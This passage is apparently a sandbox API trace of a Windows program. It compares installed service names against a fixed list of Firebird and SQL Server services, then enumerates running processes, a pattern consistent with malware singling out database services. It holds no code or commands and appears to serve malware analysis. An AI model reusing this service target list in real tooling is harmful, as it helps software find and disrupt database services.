	[0188.233] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0188.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0188.233] lstrlenW (lpString="Dnscache") returned 8
	[0188.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0188.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0188.233] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0188.234] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0188.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0188.234] lstrlenW (lpString="DPS") returned 3
	[0188.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0188.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0188.234] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0188.234] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0188.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0188.234] lstrlenW (lpString="DusmSvc") returned 7
	[0188.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0188.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0188.234] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0188.234] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0188.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0188.234] lstrlenW (lpString="EventLog") returned 8
	[0188.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0188.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0188.234] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0188.234] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0188.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0188.234] lstrlenW (lpString="EventSystem") returned 11
	[0188.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0188.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0188.234] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0188.234] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0188.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0188.234] lstrlenW (lpString="FontCache") returned 9
	[0188.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0188.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0188.234] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0188.234] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0188.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0188.234] lstrlenW (lpString="gpsvc") returned 5
	[0188.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0188.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0188.234] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0188.235] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0188.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0188.235] lstrlenW (lpString="iphlpsvc") returned 8
	[0188.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0188.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0188.235] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0188.235] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0188.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0188.235] lstrlenW (lpString="KeyIso") returned 6
	[0188.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0188.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0188.235] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0188.235] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0188.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0188.235] lstrlenW (lpString="LanmanServer") returned 12
	[0188.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0188.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0188.235] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0188.235] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0188.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0188.235] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0188.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0188.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0188.236] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0188.236] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0188.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0188.236] lstrlenW (lpString="lfsvc") returned 5
	[0188.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0188.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0188.236] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0188.236] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0188.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0188.236] lstrlenW (lpString="lmhosts") returned 7
	[0188.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0188.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0188.236] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0188.236] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0188.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0188.236] lstrlenW (lpString="LSM") returned 3
	[0188.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0188.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0188.236] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0188.236] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0188.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0188.236] lstrlenW (lpString="MpsSvc") returned 6
	[0188.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0188.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0188.236] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0188.236] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0188.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0188.236] lstrlenW (lpString="NcbService") returned 10
	[0188.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0188.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0188.236] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0188.236] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0188.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0188.236] lstrlenW (lpString="netprofm") returned 8
	[0188.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0188.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0188.237] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0188.237] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0188.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0188.237] lstrlenW (lpString="NgcSvc") returned 6
	[0188.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0188.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0188.237] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0188.237] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0188.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0188.237] lstrlenW (lpString="NlaSvc") returned 6
	[0188.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0188.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0188.237] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0188.237] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0188.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0188.237] lstrlenW (lpString="nsi") returned 3
	[0188.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0188.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0188.237] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0188.237] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0188.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0188.237] lstrlenW (lpString="PcaSvc") returned 6
	[0188.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0188.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0188.237] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0188.237] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0188.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0188.237] lstrlenW (lpString="PlugPlay") returned 8
	[0188.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0188.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0188.237] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0188.237] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0188.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0188.237] lstrlenW (lpString="Power") returned 5
	[0188.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0188.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0188.237] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0188.238] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0188.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0188.238] lstrlenW (lpString="ProfSvc") returned 7
	[0188.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0188.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0188.238] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0188.238] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0188.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0188.238] lstrlenW (lpString="RpcEptMapper") returned 12
	[0188.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0188.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0188.238] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0188.238] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0188.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0188.238] lstrlenW (lpString="RpcSs") returned 5
	[0188.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0188.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0188.238] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0188.238] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0188.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0188.238] lstrlenW (lpString="SamSs") returned 5
	[0188.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0188.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0188.238] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0188.238] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0188.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0188.238] lstrlenW (lpString="Schedule") returned 8
	[0188.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0188.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0188.238] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0188.238] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0188.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0188.238] lstrlenW (lpString="SecurityHealthService") returned 21
	[0188.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0188.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0188.238] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0188.239] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0188.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0188.239] lstrlenW (lpString="SENS") returned 4
	[0188.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0188.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0188.239] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0188.239] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0188.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0188.239] lstrlenW (lpString="ShellHWDetection") returned 16
	[0188.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0188.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0188.239] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0188.239] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0188.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0188.239] lstrlenW (lpString="Spooler") returned 7
	[0188.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0188.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0188.239] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0188.239] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0188.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0188.239] lstrlenW (lpString="StateRepository") returned 15
	[0188.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0188.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0188.239] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0188.239] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0188.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0188.239] lstrlenW (lpString="SysMain") returned 7
	[0188.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0188.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0188.239] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0188.239] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0188.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0188.239] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0188.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0188.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0188.240] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0188.240] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0188.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0188.240] lstrlenW (lpString="Themes") returned 6
	[0188.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0188.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0188.240] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0188.240] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0188.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0188.240] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0188.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0188.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0188.240] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0188.240] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0188.240] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2cc
	[0188.244] Process32FirstW (in: hSnapshot=0x2cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0188.245] Process32NextW (in: hSnapshot=0x2cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0188.245] lstrlenW (lpString="System") returned 6
	[0188.245] Process32NextW (in: hSnapshot=0x2cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0188.458] lstrlenW (lpString="smss.exe") returned 8
	[0188.458] Process32NextW (in: hSnapshot=0x2cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0188.458] lstrlenW (lpString="csrss.exe") returned 9
	[0188.458] Process32NextW (in: hSnapshot=0x2cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0188.458] lstrlenW (lpString="wininit.exe") returned 11
	[0188.459] Process32NextW (in: hSnapshot=0x2cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0188.459] lstrlenW (lpString="csrss.exe") returned 9
	[0188.459] Process32NextW (in: hSnapshot=0x2cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0188.459] lstrlenW (lpString="winlogon.exe") returned 12
	[0188.459] Process32NextW (in: hSnapshot=0x2cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0188.460] lstrlenW (lpString="services.exe") returned 12
	[0188.460] Process32NextW (in: hSnapshot=0x2cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0188.460] lstrlenW (lpString="lsass.exe") returned 9
	[0188.460] Process32NextW (in: hSnapshot=0x2cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0188.461] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0188.461] Process32NextW (in: hSnapshot=0x2cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0188.461] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0188.461] Process32NextW (in: hSnapshot=0x2cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0188.461] lstrlenW (lpString="svchost.exe") returned 11
	[0188.462] Process32NextW (in: hSnapshot=0x2cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0188.462] lstrlenW (lpString="svchost.exe") returned 11
	[0188.462] Process32NextW (in: hSnapshot=0x2cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0188.462] lstrlenW (lpString="dwm.exe") returned 7
	[0188.462] Process32NextW (in: hSnapshot=0x2cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0188.463] lstrlenW (lpString="svchost.exe") returned 11
	[0188.463] Process32NextW (in: hSnapshot=0x2cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0188.463] lstrlenW (lpString="svchost.exe") returned 11
	[0188.463] Process32NextW (in: hSnapshot=0x2cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0188.464] lstrlenW (lpString="svchost.exe") returned 11
	[0188.464] Process32NextW (in: hSnapshot=0x2cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0188.464] lstrlenW (lpString="svchost.exe") returned 11
	[0188.464] Process32NextW (in: hSnapshot=0x2cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0188.465] lstrlenW (lpString="svchost.exe") returned 11
	[0188.465] Process32NextW (in: hSnapshot=0x2cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0188.465] lstrlenW (lpString="svchost.exe") returned 11
	[0188.465] Process32NextW (in: hSnapshot=0x2cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0188.466] lstrlenW (lpString="svchost.exe") returned 11
	[0188.466] Process32NextW (in: hSnapshot=0x2cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0188.466] lstrlenW (lpString="svchost.exe") returned 11
	[0188.466] Process32NextW (in: hSnapshot=0x2cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0188.467] lstrlenW (lpString="svchost.exe") returned 11
